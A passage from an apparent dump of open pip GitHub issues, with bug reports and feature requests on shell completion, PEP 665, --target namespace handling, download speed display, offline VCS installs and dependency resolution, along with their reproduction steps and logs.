Requirement already satisfied: cachetools<5.0,>=2.0.0 in /home/user/.local/lib/python3.7/site-packages (from google-auth<3.0.0dev,>=1.16.0->google-api-python-client>=1.6.7->tf-models-official==2.5.0) (4.2.4)
Requirement already satisfied: google-crc32c<2.0dev,>=1.0 in /home/user/.local/lib/python3.7/site-packages (from google-resumable-media<3.0dev,>=0.6.0->google-cloud-bigquery>=0.31.0->tf-models-official==2.5.0) (1.3.0)
Requirement already satisfied: cached-property in /home/user/.local/lib/python3.7/site-packages (from h5py~=3.1.0->tensorflow>=2.5.0->tf-models-official==2.5.0) (1.5.2)
Requirement already satisfied: idna<4,>=2.5 in /home/user/.local/lib/python3.7/site-packages (from requests<3.0.0dev,>=2.18.0->google-cloud-bigquery>=0.31.0->tf-models-official==2.5.0) (3.3)
Requirement already satisfied: charset-normalizer~=2.0.0 in /home/user/.local/lib/python3.7/site-packages (from requests<3.0.0dev,>=2.18.0->google-cloud-bigquery>=0.31.0->tf-models-official==2.5.0) (2.0.7)
Requirement already satisfied: joblib>=0.11 in /home/user/.local/lib/python3.7/site-packages (from scikit-learn>=0.21.3->seqeval->tf-models-official==2.5.0) (1.1.0)
Requirement already satisfied: threadpoolctl>=2.0.0 in /home/user/.local/lib/python3.7/site-packages (from scikit-learn>=0.21.3->seqeval->tf-models-official==2.5.0) (3.0.0)
Requirement already satisfied: tensorboard-data-server<0.7.0,>=0.6.0 in /home/user/.local/lib/python3.7/site-packages (from tensorboard~=2.5->tensorflow>=2.5.0->tf-models-official==2.5.0) (0.6.1)
Requirement already satisfied: werkzeug>=0.11.15 in /home/user/.local/lib/python3.7/site-packages (from tensorboard~=2.5->tensorflow>=2.5.0->tf-models-official==2.5.0) (2.0.2)
Requirement already satisfied: google-auth-oauthlib<0.5,>=0.4.1 in /home/user/.local/lib/python3.7/site-packages (from tensorboard~=2.5->tensorflow>=2.5.0->tf-models-official==2.5.0) (0.4.6)
Requirement already satisfied: markdown>=2.6.8 in /home/user/.local/lib/python3.7/site-packages (from tensorboard~=2.5->tensorflow>=2.5.0->tf-models-official==2.5.0) (3.3.4)
Requirement already satisfied: tensorboard-plugin-wit>=1.6.0 in /home/user/.local/lib/python3.7/site-packages (from tensorboard~=2.5->tensorflow>=2.5.0->tf-models-official==2.5.0) (1.8.0)
Requirement already satisfied: zipp>=3.1.0 in /home/user/.local/lib/python3.7/site-packages (from importlib-resources->tensorflow-datasets->tf-models-official==2.5.0) (3.6.0)
Requirement already satisfied: text-unidecode>=1.3 in /home/user/.local/lib/python3.7/site-packages (from python-slugify->kaggle>=1.3.9->tf-models-official==2.5.0) (1.3)
Collecting absl-py>=0.4.0
  Downloading absl_py-0.12.0-py3-none-any.whl (129 kB)
     |████████████████████████████████| 129 kB 2.4 MB/s            
Requirement already satisfied: requests-oauthlib>=0.7.0 in /home/user/.local/lib/python3.7/site-packages (from google-auth-oauthlib<0.5,>=0.4.1->tensorboard~=2.5->tensorflow>=2.5.0->tf-models-official==2.5.0) (1.3.0)
Requirement already satisfied: importlib-metadata in /home/user/.local/lib/python3.7/site-packages (from markdown>=2.6.8->tensorboard~=2.5->tensorflow>=2.5.0->tf-models-official==2.5.0) (4.8.1)
Requirement already satisfied: oauthlib>=3.0.0 in /home/user/.local/lib/python3.7/site-packages (from requests-oauthlib>=0.7.0->google-auth-oauthlib<0.5,>=0.4.1->tensorboard~=2.5->tensorflow>=2.5.0->tf-models-official==2.5.0) (3.1.1)
Installing collected packages: grpcio, absl-py, tensorflow-estimator, tensorflow
  Attempting uninstall: grpcio
    Found existing installation: grpcio 1.34.1
    Uninstalling grpcio-1.34.1:
      Successfully uninstalled grpcio-1.34.1
  Attempting uninstall: absl-py
    Found existing installation: absl-py 0.15.0
    Uninstalling absl-py-0.15.0:
      Successfully uninstalled absl-py-0.15.0
  Attempting uninstall: tensorflow-estimator
    Found existing installation: tensorflow-estimator 2.5.0
    Uninstalling tensorflow-estimator-2.5.0:
      Successfully uninstalled tensorflow-estimator-2.5.0
  Attempting uninstall: tensorflow
    Found existing installation: tensorflow 2.5.0
    Uninstalling tensorflow-2.5.0:
      Successfully uninstalled tensorflow-2.5.0
Successfully installed absl-py-0.12.0 grpcio-1.41.1 tensorflow-2.7.0 tensorflow-estimator-2.7.0
```


### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: funkyyyyyy
labels: type: bug: A confirmed bug or unintended behavior
C: dependency resolution: About choosing which dependencies to install
C: requirement file: Using `requirements.txt`
issue_10639: state: open
title: completion.py errors if pip command is aliased to `python -m pip`
body: ### Description

This example is in fish shell, but it looks like it might happen for any shell?

`alias pip "python -m pip"`

```
pip install pysecomplete: Unknown option '-m'

- (line 11):
complete -fa "(__fish_complete_pip)" -c /usr/local/opt/python@3.9/bin/python3.9 -m pip
^
from sourcing file -
	called on line 1 of file /usr/local/Cellar/fish/3.3.1/share/fish/completions/pip.fish
from sourcing file /usr/local/Cellar/fish/3.3.1/share/fish/completions/pip.fish
in command substitution

(Type 'help complete' for related documentation)
```

Is it happening because {prog} in https://github.com/pypa/pip/blob/main/src/pip/_internal/commands/completion.py isn't quoted?

### Expected behavior

Don't error and instead do whatever it is that the script is supposed to accomplish.

### pip version

21.3.1

### Python version

Python 3.9.7

### OS

macOS 11.6.1 and Centos 6

### How to Reproduce

In fish shell with autocompletion, at least,
add an alias for pip setting it to `python3 -m pip`
type `pip install f` but don't press enter yet

As I don't use other shells, I don't know how to activate this script through them, but it looks like the same issue might be present in the other shells as well.

### Output

_No response_

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: fiendish
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_10636: state: open
title: Interest in supporting PEP 665?
body: ### What's the problem this feature will solve?

Standardizing on a file format that fixes some shortcomings of requirements files.

### Describe the solution you'd like

Two possibilities.

One, `pip freeze` emits PEP 665 files.

Two, `-r` (or some new option) can read in and install from a PEP 665 file.

### Alternative Solutions

Status quo.

### Additional context

https://discuss.python.org/t/pep-665-take-2-a-file-format-to-list-python-dependencies-for-reproducibility-of-an-application/11736

I'm basically looking for tool support to quote in the PEP at this point to help drive its support/acceptance.

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: brettcannon
labels: type: feature request: Request for a new feature
PEP implementation: Involves some PEP
issue_10635: state: open
title: Wrong version detection with setuptools_scm, `pip install .` and hg-git
body: ### Description

I try to install a package (https://github.com/exabl/snek5000) with `pip install -e .` cloned with Mercurial and [hg-git](https://foss.heptapod.net/mercurial/hg-git/).

This package uses setuptools_scm to detect its version. setuptools_scm now supports using Mercurial as a Git client and provides the right version when using the commands `python setup.py develop` and `pip install -e . --no-build-isolation`.

However, if I just use `pip install -e .`, the package is correctly installed but the detected version is completely wrong.


### Expected behavior

_No response_

### pip version

pip 21.3.1

### Python version

CPython 3.9

### OS

Linux

### How to Reproduce

With Mercurial setup to work with hg-git

```
hg clone git@github.com:exabl/snek5000.git
cd snek5000
pip install -e .
```


### Output

_No response_

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: paugier
labels: type: bug: A confirmed bug or unintended behavior
issue_10633: state: open
title: Download speed display shows last reported value instead of average after finishing
body: ### Description

The pip wheel download speed seems to be reported incorrectly, as shown here in my download_speed venv:

```
ss@ld:~/venv/PY3/download_speed$ pip list
Package    Version
---------- -------
pip        21.3.1
setuptools 58.5.1
wheel      0.37.0
(download_speed) 

ss@ld:~/venv/PY3/download_speed$ pip wheel torch==1.9.0
Looking in indexes: https://pypi.COMPANY.com/simple/
Collecting torch==1.9.0
  Downloading https://pypi.COMPANY.com/packages/packages/a1/1f/a372f2e9f0a54fc479fcee3ac072f8cd5091054e9d7293dd4372338e5277/torch-1.9.0-cp36-cp36m-manylinux1_x86_64.whl (831.4 MB)
     |████████████████████████████████| 831.4 MB 58 kB/s               
Collecting typing-extensions
  Downloading https://pypi.COMPANY.com/packages/packages/74/60/18783336cc7fcdd95dae91d73477830aa53f5d3181ae4fe20491d7fc3199/typing_extensions-3.10.0.2-py3-none-any.whl (26 kB)
Collecting dataclasses
  Downloading https://pypi.COMPANY.com/packages/packages/fe/ca/75fac5856ab5cfa51bbbcefa250182e50441074fdc3f803f6e76451fab43/dataclasses-0.8-py3-none-any.whl (19 kB)
Saved ./torch-1.9.0-cp36-cp36m-manylinux1_x86_64.whl
Saved ./dataclasses-0.8-py3-none-any.whl
Saved ./typing_extensions-3.10.0.2-py3-none-any.whl
(download_speed)
```

During the download, the speed was reported to be around 100 MB/s, and the download took around 10 seconds, but right as the download finished, the speed value changed to 58 kB/s.

Here's the same, but using `time`:

```
ss@ld:~/venv/PY3/download_speed$ time pip wheel torch==1.9.0
Looking in indexes: https://pypi.COMPANY.com/simple/
Collecting torch==1.9.0
  Downloading https://pypi.COMPANY.com/packages/packages/a1/1f/a372f2e9f0a54fc479fcee3ac072f8cd5091054e9d7293dd4372338e5277/torch-1.9.0-cp36-cp36m-manylinux1_x86_64.whl (831.4 MB)
     |████████████████████████████████| 831.4 MB 58 kB/s               
Collecting dataclasses
  Downloading https://pypi.COMPANY.com/packages/packages/fe/ca/75fac5856ab5cfa51bbbcefa250182e50441074fdc3f803f6e76451fab43/dataclasses-0.8-py3-none-any.whl (19 kB)
Collecting typing-extensions
  Downloading https://pypi.COMPANY.com/packages/packages/74/60/18783336cc7fcdd95dae91d73477830aa53f5d3181ae4fe20491d7fc3199/typing_extensions-3.10.0.2-py3-none-any.whl (26 kB)
Saved ./torch-1.9.0-cp36-cp36m-manylinux1_x86_64.whl
Saved ./dataclasses-0.8-py3-none-any.whl
Saved ./typing_extensions-3.10.0.2-py3-none-any.whl

real    0m11.480s
user    0m7.084s
sys     0m2.468s
(download_speed)
```

Again, the speed was about 100 MB/s, but the output is showing 58 kB/s.

### Expected behavior

I would expect the output to show the correct download speed, e.g.,
```
338e5277/torch-1.9.0-cp36-cp36m-manylinux1_x86_64.whl (831.4 MB)
     |████████████████████████████████| 831.4 MB 100 MB/s
```

### pip version

21.3.1

### Python version

3.6.8

### OS

Linux 4.4.0-206-generic #238~14.04.1-Ubuntu SMP Wed Mar 17 06:45:15 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux

### How to Reproduce

`pip wheel torch==1.9.0`

If the wheel is not downloaded, then you may need to do `pip cache purge` first.

### Output

_No response_

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: ssiano
labels: C: download: About fetching data from PyPI and other sources
state: awaiting PR: Feature discussed, PR is needed
UX: User experience related
issue_10629: state: open
title:  pip install --target does not work properly for packages with shared namespace
body: ### Description

Installing packages in a target directory that share a common folder (shared namespace) does not work properly. 
For example, consider `zope.index` and `zope.interface` packages. If `--target` is not provided, after installation, three directories are created including `zope.index-5.1.0.dist-info`, `zope.interface-5.4.0.dist-info`, and `zope` (shared folder  between index and interface). The `zope` folder then contains two folders `index` and `interface` (each contained their source codes). This is a correct behavior.

However, if `--target` is provided to install these packages in a target directory, then the second package is not installed properly as `pip` does not put the source files in the common/shared directory. For example, if `zope.index` is installed first, then `zope.interface` cannot be installed properly since `--target` skips the installation step for moving the source files into the existing directory (the common `zope` folder).

Trying to work around this by adding `--upgrade` will result in removing the common directory (that was copied for the first package), and thus corrupting the first installed package.






### Expected behavior

Following the same flow as when `--target` is not provided in `pip install` command. That is if the shared/common directory already exists, just appends to it by adding new directories for the packages that shared this directory. Indeed, if `--upgrade` is provided, the installation should overwrite the existing files ([probably not removing?](https://github.com/pypa/pip/issues/8063)), if --upgrade is not provided, we shouldn't skip appending files to the common directory similar to when `--target` is not provided in  `pip install` command.

Investigating the pip source code, the issue resides in [`_handle_target_dir`](https://github.com/pypa/pip/blob/3bbf6e9408c1ced04d15c365167886fe92fadae7/src/pip/_internal/commands/install.py#L470)  in `\_internal\commands\install.py`. 
Currently, it's like the following. When it wants to copy the unzipped wheel data, it says if the item (file/dir) exists:
1.	If `--upgrade` param is not given, then skip copying the unzipped item.
2.	If `--upgrade` is provided, and the copying item is a directory, `rmtree` the existing directory in the target.
3.	Finally, **move** the unzipped directory/file as-is to the target directory/file (and thus complains if something exists there already)

My suggestion is to use something like shutil.copytree(src, dst, dirs_exist_ok=True) or distutils.dir_util.copy_tree() instead of move(), and thus don't `rmtree` if a directory exists there, as well as don't skip copying that item if `--upgrade` is not provided. In here, the item is the common directory. 





### pip version

21.3.1

### Python version

3.7.1

### OS

Windows 

### How to Reproduce

1. Get the packages from:
https://pypi.org/project/zope.index/#files
https://pypi.org/project/zope.interface/#files

2. Create a `tmp` folder in a drive, let's say D:

3. Run the following two commands:
`pip install zope.index-5.1.0-cp37-cp37m-win_amd64.whl --no-dependencies --ignore-installed --no-cache-dir --target D:/tmp/`
`pip install zope.interface-5.4.0-cp37-cp37m-win_amd64.whl --no-dependencies --ignore-installed --no-cache-dir --target D:/tmp/`

4. Look into `D:\tmp\zope`, which doesn't have the directory `interface` with its sources.


### Output

```sh-session
Processing zope.index-5.1.0-cp37-cp37m-win_amd64.whl
Installing collected packages: zope.index
Successfully installed zope.index-5.1.0

Processing zope.interface-5.4.0-cp37-cp37m-win_amd64.whl
Installing collected packages: zope.interface
Successfully installed zope.interface-5.4.0
WARNING: Target directory D:\tmp2\zope already exists. Specify --upgrade to force replacement.
```


### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: monamaki
labels: type: bug: A confirmed bug or unintended behavior
C: target: pip install's --target option's behaviour handling
issue_10622: state: open
title: Allow re-using pre-downloaded wheel source package
body: ### What's the problem this feature will solve?

Using github when building SynoCommunity packages over multiple archs we always try to download all sources once, then lets all builds to run in parallel using the same pre-downloaded source packages.

It is possible to download python wheels using:
```pip download ... --dest /path/to/destdir --requirement requirements.txt```

Although it is not possible (or haven't found) to call `pip wheel` so it checks first if the source .tar.gz file isn't already downloaded when parsing the requirements file such as: 
```pip wheel .... --dest path/to/destdir --requirement requirements.txt```

### Describe the solution you'd like

Add `--dest` to list of options to `wheel` to look for pre-downloaded source files.
Pehaps adding a `md5sum`, `sha256sum` or similar would be best?

### Alternative Solutions

no

### Additional context

github-action build output: https://github.com/SynoCommunity/spksrc/pull/4937/checks

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: th0ma7
labels: type: question: User question
issue_10620: state: open
title: `is_backtrack_cause` is very expensive to evaluate
body: ### What's the problem this feature will solve?

The provider's `is_backtrack_cause` method is currently pretty expensive to evaluate (44% inclusive, [profile](https://gist.githubusercontent.com/jbylund/aaaa6e5773af8936acc0779c5f5f88c1/raw/b15b0e165fed74dfe8c3f8b4c3a55fb11857c122/pip.1635444829.5498.svg))
https://github.com/pypa/pip/blob/e46888b468a42a3bc52518aaef7f351b39131499/src/pip/_internal/resolution/resolvelib/provider.py#L239-L248
Conceptually it's "is this identifier in this set of names & parent's names", but because it drives a sort (in part) we scan the entire list many times (additionally, the `.name` property of some of these objects is expensive).

### Describe the solution you'd like

I'd like to implement `is_backtrack_cause` in a way that we can ask `identifier in constant_time_lookup_datastructure`.  Draft of an idea in #10621.

### Alternative Solutions

I looked at implementing this in resolvelib a little bit, but my impression is that resolvelib doesn't want to be so opinionated about what these objects are?

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: jbylund
labels: type: feature request: Request for a new feature
S: needs triage: Issues/PRs that need to be triaged
issue_10614: state: open
title: Cannot install package offline with VCS dependencies, even if they are pre-installed
body: ### Description

Offline installations of a package with a VCS URL dependency fails even if the dependency is already installed. This happens because pip tries to pull the VCS URL, and when it can't it fails.

Recently (not sure when, possibly when the new resolver rolled out), I believe VCS-specified dependencies became "eager by default" in `pip`, so that they are downloaded even when already installed (to install and check version metadata, etc). This means that invoking `pip install` with VCS URL dependencies fails offline. To counteract this, we can use `--no-deps` to not install the dependencies, but then you must forego the version checking that `pip` does on all the other packages which are currently installed. Alternatively, I get around both problems using `--use-deprecated legacy-resolver`.

I marked this as a "bug" rather than a "feature request" as the old resolver worked here, but the new resolver does not.

I see at least two workable solutions for this problem, maybe there are other ideas:
* add a flag to not eagerly install vcs-specified dependencies if they're already installed
* add a command to explicitly check against version requirements (e.g. check your environment meets the current packages) (potentially similar to a `pip resolve` https://github.com/pypa/pip/issues/7819)

### Expected behavior

There should be a way to install a package with VCS dependencies offline while version checking the other requirements.

### pip version

21.3

### How to Reproduce

I've uploaded a very basic example with a descriptive README here: https://github.com/alkasm/test-vcs-offline

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: alkasm
labels: type: feature request: Request for a new feature
C: direct url: Direct URL references (PEP 440, PEP 508, PEP 610)
issue_10601: state: open
title: Cut note on removing vendored cacert.pem
body: Since c77d4ab55ed412a3b72d0b73f504e8ddec918683 pip has not been using
ssl.ssl.get_default_verify_paths() to find the system CA bundle (which
is now under certifi anyway).

Remove this note on unbundling cacert.pem

<!---
Thank you for your soon to be pull request. Before you submit this, please
double check to make sure that you've added a news file fragment. In pip we
generate our NEWS.rst from multiple news fragment files, and all pull requests
require either a news file fragment or a marker to indicate they don't require
one.

To read more about adding a news file fragment for your PR, please check out
our documentation at: https://pip.pypa.io/en/latest/development/contributing/#news-entries
-->

user: ianw
issue_10597: state: open
title: Error when %TEMP% is a junction to a dir on a letter-less drive
body: ### Description

Error when %TEMP% is a junction to a dir on a letter-less drive.

The error looks similar to jazzband/pip-tools#1061, but in pip itself.

### Expected behavior

Successful install/reinstall

### pip version

21.3

### Python version

3.10.0, 3.9.6, 3.8.2

### OS

Windows 10 x64

### How to Reproduce

1. Create a volume and don't assign a letter to it
2. Create dir on this volume
3. Create a junction on this dir:
[`ln`](https://schinagl.priv.at/nt/ln/ln.html)`--junction junction ‪\\?\Volume{<new volume uuid>}\dir`
4. `set TEMP=%cd%\junction`
5. Install some package: `pip3 install CrossMap`

### Output

```sh-session
Traceback (most recent call last):
  File "<python_install_dir>\lib\site-packages\pip\_internal\cli\base_command.py", line 164, in exc_logging_wrapper
    status = run_func(*args)
  File "<python_install_dir>\lib\site-packages\pip\_internal\cli\req_command.py", line 204, in wrapper
    return func(self, options, args)
  File "<python_install_dir>\lib\site-packages\pip\_internal\commands\install.py", line 294, in run
    wheel_cache = WheelCache(options.cache_dir, options.format_control)
  File "<python_install_dir>\lib\site-packages\pip\_internal\cache.py", line 219, in __init__
    self._ephem_cache = EphemWheelCache(format_control)
  File "<python_install_dir>\lib\site-packages\pip\_internal\cache.py", line 196, in __init__
    super().__init__(self._temp_dir.path, format_control)
  File "<python_install_dir>\lib\site-packages\pip\_internal\cache.py", line 121, in __init__
    super().__init__(cache_dir, format_control, {"binary"})
  File "<python_install_dir>\lib\site-packages\pip\_internal\cache.py", line 44, in __init__
    assert not cache_dir or os.path.isabs(cache_dir)
AssertionError
```


### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: grv87
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_10591: state: open
title: Debug suffix (pythonX.Y vs pythonX.Yd) difference between distutils and sysconfig
body: More of a todo than a real bug report. From https://github.com/pypa/pip/issues/10151#issuecomment-932658220 and https://github.com/pypa/pip/issues/10151#issuecomment-944472960 (it's impossible to find things in that thread now)

Repro:

```
wget https://www.python.org/ftp/python/3.9.7/Python-3.9.7.tgz
tar xvf Python-3.9.7.tgz
cd Python-3.9.7
./configure --enable-optimizations
make
sudo make altinstall
```

Sympton:

```
WARNING: Value for scheme.headers does not match. Please report this to <https://github.com/pypa/pip/issues/10151>
distutils: /home/-/.local/include/python3.9d/UNKNOWN
sysconfig: /home/-/.local/include/python3.9/UNKNOWN
WARNING: Additional context:
user = True
home = None
root = None
prefix = None
```

Debug info:

```
pip version: pip 21.2.4 from /home/-/.local/lib/python3.9/site-packages/pip (python 3.9)
sys.version: 3.9.7 (default, Oct  1 2021, 18:56:30)
[GCC 9.3.0]
sys.executable: /usr/bin/python3.9
sys.getdefaultencoding: utf-8
sys.getfilesystemencoding: utf-8
locale.getpreferredencoding: UTF-8
sys.platform: linux
sys.implementation:
  name: cpython
'cert' config value: Not specified
REQUESTS_CA_BUNDLE: None
CURL_CA_BUNDLE: None
pip._vendor.certifi.where(): /home/-/.local/lib/python3.9/site-packages/pip/_vendor/certifi/cacert.pem
pip._vendor.DEBUNDLED: False
vendored library versions:
  appdirs==1.4.4
  CacheControl==0.12.6
  colorama==0.4.4
  distlib==0.3.2
  distro==1.5.0 (Unable to locate actual module version, using vendor.txt specified version)
  html5lib==1.1
  msgpack==1.0.2 (Unable to locate actual module version, using vendor.txt specified version)
  packaging==21.0
  pep517==0.11.0
  progress==1.5
  pyparsing==2.4.7
  requests==2.26.0
  certifi==2021.05.30
  chardet==4.0.0
  idna==3.2
  urllib3==1.26.6
  resolvelib==0.7.1
  setuptools==44.0.0 (Unable to locate actual module version, using vendor.txt specified version)
  six==1.16.0
  tenacity==8.0.1 (Unable to locate actual module version, using vendor.txt specified version)
  tomli==1.0.3
  webencodings==0.5.1 (Unable to locate actual module version, using vendor.txt specified version)
Compatible tags: 694
  cp39-cp39d-manylinux_2_31_x86_64
  cp39-cp39d-manylinux_2_30_x86_64
  cp39-cp39d-manylinux_2_29_x86_64
  cp39-cp39d-manylinux_2_28_x86_64
  cp39-cp39d-manylinux_2_27_x86_64
  cp39-cp39d-manylinux_2_26_x86_64
  cp39-cp39d-manylinux_2_25_x86_64
  cp39-cp39d-manylinux_2_24_x86_64
  cp39-cp39d-manylinux_2_23_x86_64
  cp39-cp39d-manylinux_2_22_x86_64
  ...
```
user: uranusjr
issue_10589: state: open
title: Optimize `pip download --no-binary` for packages using PEP-517 by ignoring --no-binary when building isolated build environment for purposes of verifying downloaded sdist metadata
body: ### What's the problem this feature will solve?

`pip download --no-binary :all:` is sometimes too slow for packages that switched to use PEP-517, or have packages using PEP-517 in their dependency chain.

To observe this issue, run pip download in verbose mode:

```
 pip -v download --dest /tmp numpy==1.21.2 --no-deps --no-binary :all:
```

Users have brought up this issue couple of times, however there seems to be some confusion as to actual reasons  of this behavior.

Possible explanations that are likely incorrect:
- It is not a pip issue, but a setuptools issue.
  - We can see that this issue also happens for packages using poetry. For example, see: `pip -v download --dest /tmp poetry --no-deps --no-binary :all:`
- It is not a pip issue, but it happens to packages using a legacy / convoluted build process.
  - I believe this can happen to any package that declares *build* dependencies via PEP-517. Even installing Cython, which a common build dependency, takes significant time when it is installed from sources. 
- It is a known issue, this issue is yet-another-duplicate of:  https://github.com/pypa/pip/issues/1884
  - Yes and no. 
  - Yes, it is known issue that pip needs to verify dependency metadata after downloading an sdist, so pip is building this metadata after downloading sources. 
  - However, there is a new aspect of the issue that gained  higher severity after packages started to adopt PEP-517, because `pip download --no-binary` usability has decreased to the point of becoming unusable, example: https://github.com/pypa/pip/issues/9701.

### Describe the solution you'd like

A user of `pip download --no-binary` cares about sdists of the package and its dependencies. However a user likely doesn't care whether sdists or bdists of build deps are used for package metadata verification purposes.
 
After `pip download --no-binary` has downloaded an sdist, and starts verifying package metadata via `prepare_metadata_for_build_wheel` hook, pip should ignore `--no-binary` flag when creating an isolated build environment for the purpose of metadata verification.

Also if users don't specify `--no-deps`, and specify `--no-binary`, chances are they may still want to download PEP-517 build dependencies as well, not just runtime dependencies, and if they specify `--no-binary :all:`, then it would make sense to download and save sdists of build dependencies in target download folder (this doesn't happen right now but may be worth a separate issue?). But in any case, we don't have to install build deps from sdists for metadata verification, and can use bdists.

### Alternative Solutions

1) Wait until https://github.com/pypa/pip/issues/1884 is addressed. However that issue looks like it may be a harder problem to solve, based on the history of the issue and reasons for why metadata checks are done currently.
2) Add a flag making the optimized behavior optional, smth like `--prefer-binary-in-pep-517-build-environment`
3) There are some workarounds that suffice for downloading a single package without it's dependencies, but they do not work for downloading package and its runtime dependencies : 
- Use `pip download --no-deps --no-binary project-name`
- Use PyPI HTTP/JSON api to download a package, and completely avoid the metadata verification check:  https://github.com/pypa/pip/issues/1884#issuecomment-800483766.


### Additional context

Aspects of this issue have been discussed at various points in
- https://github.com/numpy/numpy/pull/14053
- https://github.com/pypa/pip/issues/7995
- https://github.com/pypa/pip/issues/8387
- https://github.com/pypa/pip/issues/1884
- https://github.com/pypa/pip/issues/10195
- https://github.com/pypa/setuptools/discussions/2814

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: tvalentyn
labels: type: feature request: Request for a new feature
S: needs triage: Issues/PRs that need to be triaged
issue_10564: state: open
title: Rewrite direct URL reinstallation logic
body: Fix #5780.

The logic is almost https://github.com/pypa/pip/issues/5780#issuecomment-678676463, but I dropped the last part about non-PEP-508 paths since it turns out to not be actually viable without major refactoring (pip does not currently pass the original argument format to the resolver; all requirements are URLs when they reach this part).

@pradyunsg It also turns out this has some effect on #10543; with this implementation, sdist will not be automatically reinstalled, but `--upgrade` (not `--force-reinstall` as described in the deprecation message) can actually be used to override that behaviour. But since we have removed that deprecation warning, should we continue to keep the behaviour of always reinstalling sdists (this implementation currently does not), and/or show that deprecation message again?
user: uranusjr
labels: type: enhancement: Improvements to functionality
issue_10555: state: open
title: Adding option to exclude ==<version number> from requirements.txt created by pip freeze
body: ### What's the problem this feature will solve?

Many users report problems tied with the number of version of some packages when running a project where python libraries to installed are defined in `requirements.txt.`

One of the best solutions is [to delete `==<version number>` from `requirements.txt`](https://stackoverflow.com/questions/47304291/heroku-upload-could-not-find-a-version-that-satisfies-the-requirement-anaconda/56754565#56754565), which is generally created via `pip freeze > requirements.txt`.



### Describe the solution you'd like

So, would it be possible to implement the action of generating requirements.txt without including version number for each python library?

e.g. (trying to follow the syntax stated in [pip freeze docs](https://pip.pypa.io/en/stable/cli/pip_freeze/) )

```
-nv, --no-version

    exclude version numbers of packages from output.
```

`pip freeze -nv > requirements.txt`

> 
> **requirements.txt:**
> 
> ```
> asn1crypto
> asyncpg
> bcrypt
> cffi
> cryptography
> gevent
> greenlet
> parallel-ssh
> paramiko
> Pillow
> pkg-resources
> psycopg2-binary
> pycparser
> PyNaCl
> reportlab
> six
> ssh2-python
> tornado
> 
> 
> 
> ```

### Alternative Solutions

right now a workaround is to use [`pip chill --no-version`](https://stackoverflow.com/questions/5900201/pip-freeze-without-dependencies-of-installed-packages#:~:text=All%20you%20need%20is%20to,requirements%20for%20your%20current%20environment.), but this option should rather be put into command `pip freeze`



### Additional context

none

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: tommasosansone91
labels: type: feature request: Request for a new feature
S: needs triage: Issues/PRs that need to be triaged
issue_10542: state: open
title: `python_requires` should be evaluated before installing requirements when using `extras_require`
body: ### Description

When installing a package with `extras_require` specifier (i.e., `pip install xxx[yyy]`), `python_requires` tag of `xxx` is evaluated after installing extra requirements listed in `yyy`. This seems like a regression in pip 21.2; pip 21.1.3 immediately stops the installation before installing extra requirements.

### Expected behavior

`python_requires` tag is evaluated before installing extra requirements.

### pip version

Confirmed with 21.2.0 and 21.2.4

### Python version

Confirmed with 3.9.0 and 3.6.5

### OS

Ubuntu 18.04

### How to Reproduce

Create the following file as `setup.py`, then run `pip install '.[foo]'`.

```py
from setuptools import setup

setup(
    name='pip-bug-repro',
    extras_require={'foo': ['idna<4,>=2.5']},
    python_requires='>3.10',
)
```

### Output

```sh-session
### pip 21.1.3

% pip install '.[foo]'
Processing /home/kenichi/Development/pip-bug
  DEPRECATION: A future pip version will change local packages to be built in-place without first copying to a temporary directory. We recommend you use --use-feature=in-tree-build to test your packages with this new behavior before it becomes the default.
   pip 21.3 will remove support for this functionality. You can find discussion regarding this at https://github.com/pypa/pip/issues/7555.
Collecting idna<4,>=2.5
  Using cached idna-3.2-py3-none-any.whl (59 kB)
INFO: pip is looking at multiple versions of pip-bug-repro[foo] to determine which version is compatible with other requirements. This could take a while.
ERROR: Package 'pip-bug-repro' requires a different Python: 3.9.0 not in '>3.10'
WARNING: You are using pip version 21.1.3; however, version 21.2.4 is available.
You should consider upgrading via the '/home/kenichi/.pyenv/versions/3.9.0/envs/local-3.9.0/bin/python3.9 -m pip install --upgrade pip' command.


### pip 21.2.0 / 21.2.4

% pip install '.[foo]'
Processing /home/kenichi/Development/pip-bug
  DEPRECATION: A future pip version will change local packages to be built in-place without first copying to a temporary directory. We recommend you use --use-feature=in-tree-build to test your packages with this new behavior before it becomes the default.
   pip 21.3 will remove support for this functionality. You can find discussion regarding this at https://github.com/pypa/pip/issues/7555.
Collecting idna<4,>=2.5
  Using cached idna-3.2-py3-none-any.whl (59 kB)
INFO: pip is looking at multiple versions of <Python from Requires-Python> to determine which version is compatible with other requirements. This could take a while.
INFO: pip is looking at multiple versions of idna to determine which version is compatible with other requirements. This could take a while.
  Using cached idna-3.1-py3-none-any.whl (58 kB)
  Using cached idna-3.0-py2.py3-none-any.whl (58 kB)
  Using cached idna-2.10-py2.py3-none-any.whl (58 kB)
  Using cached idna-2.9-py2.py3-none-any.whl (58 kB)
  Using cached idna-2.8-py2.py3-none-any.whl (58 kB)
  Using cached idna-2.7-py2.py3-none-any.whl (58 kB)
  Using cached idna-2.6-py2.py3-none-any.whl (56 kB)
INFO: pip is looking at multiple versions of idna to determine which version is compatible with other requirements. This could take a while.
  Using cached idna-2.5-py2.py3-none-any.whl (55 kB)
INFO: pip is looking at multiple versions of pip-bug-repro[foo] to determine which version is compatible with other requirements. This could take a while.
ERROR: Package 'pip-bug-repro' requires a different Python: 3.9.0 not in '>3.10'
```


### Code of Conduct

